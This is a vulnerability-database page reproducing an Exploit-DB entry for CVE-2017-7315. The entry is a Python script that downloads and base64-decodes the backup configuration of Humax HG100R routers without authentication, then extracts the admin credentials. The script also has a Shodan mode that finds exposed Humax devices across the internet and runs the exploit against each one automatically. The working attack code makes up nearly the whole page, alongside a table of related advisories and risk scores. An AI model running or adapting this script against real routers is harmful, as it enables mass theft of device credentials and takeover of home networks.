Humax HG100R 2.0.6 - Backup File Download
ποΈΒ 30 Jun 2017Β 00:00:00Reported byΒ gamblerTypeΒ
Β exploitdbπΒ www.exploit-db.comπΒ 102Β Views
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| Humax HG100R 2.0.6 - Backup File Download Exploit | 30 Jun 201700:00 | β | zdt | |
| Humax Digital HG100R Backup File Download Vulnerability | 4 Jul 201700:00 | β | cnvd | |
| CVE-2017-7315 | 4 Jul 201702:00 | β | cve | |
| CVE-2017-7315 | 4 Jul 201702:00 | β | cvelist | |
| EUVD-2017-16342 | 7 Oct 202500:30 | β | euvd | |
| Humax HG100R 2.0.6 - Backup File Download | 30 Jun 201700:00 | β | exploitpack | |
| CVE-2017-7315 | 4 Jul 201702:29 | β | nvd | |
| HUMAX Gateway Backup File Download Vulnerability | 3 Jul 201700:00 | β | openvas | |
| CVE-2017-7315 | 4 Jul 201702:29 | β | osv | |
| Humax Digital HG100R 2.0.6 XSS / Information Disclosure | 3 Jul 201700:00 | β | packetstorm |
10
# coding: utf-8
# Exploit Title: Humax Backup file download
# Date: 29/06/2017
# Exploit Author: gambler
# Vendor Homepage: http://humaxdigital.com
# Version: VER 2.0.6
# Tested on: OSX Linux
# CVE : CVE-2017-7315
import sys
import base64
import shodan
import requests
import subprocess
def banner():
print '''
βββ ββ β ββ ββββ βββββ βββ βββ βββ
ββββ βββ ββ βββββββββββ βββββββββ ββ β β ββ
βββββββββββ βββββββ βββββββ βββ ββ β β
βββ βββ βββ βββββββ βββ βββββββββ β β β β
ββββββββββββββββ ββββ ββββ ββ ββββββββ ββββ
β βββββββββ β β β ββ β β ββ ββββββ β ββ β
β βββ βββββ β β β β β β ββ βββ ββ β
β ββ β βββ β β β β β β β β
β β β β β β β β β
'''
print 'Description: Humax HG100R backup file download'
print 'Software Version: VER 2.0.6'
print 'SDK Version: 5.7.1mp1'
print 'IPv6 Stack Version: 1.2.2'
print 'Author: Gambler'
print 'Vulnerability founded: 14/03/2016'
print 'CVE: waiting'
print
def xplHelp():
print 'Exploit syntax error, Example:'
print 'python xpl.py http://192.168.0.1'
def exploit(server):
path = '/view/basic/GatewaySettings.bin'
if not server.startswith('http'):
server = 'http://%s' % server
if server.endswith('/'):
server = server[:-1]+''
url = '%s/%s' %(server,path)
print '[+] - Downloading configuration file and decoding'
try:
r = requests.get(url, stream=True,timeout=10)
for chunk in r.iter_content(chunk_size=1024):
if chunk:
rawdata = r.content
save(rawdata)
except:
pass
def save(rawdata):
config = base64.b64decode(rawdata).decode('ascii','ignore').replace('^@','')
open('config.txt', 'w').write(config)
print '[+] - Done, file saved as config.txt'
infos = subprocess.Popen(["strings config.txt | grep -A 1 admin"], shell=True,stdout=subprocess.PIPE).communicate()[0]
print '[+] - Credentials found'
print infos
def shodanSearch():
SHODAN_API_KEY = "SHODAN_API_KEY"
api = shodan.Shodan(SHODAN_API_KEY)
try:
results = api.search('Copyright Β© 2014 HUMAX Co., Ltd. All rights reserved.')
print 'Results found: %s' % results['total']
for result in results['matches']:
router = 'http://%s:%s' % (result['ip_str'],result['port'])
print router
exploit(router)
except shodan.APIError, e:
print 'Error: %s' % e
if __name__ == '__main__':
if len(sys.argv) < 2:
xplHelp()
sys.exit()
banner()
if sys.argv[1] == 'shodan':
shodanSearch()
else:
exploit(sys.argv[1])Data
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
30 Jun 2017 00:00Current
8.4High risk
Vulners AI Score8.4
CVSS 39.8
CVSS 210
EPSS0.02124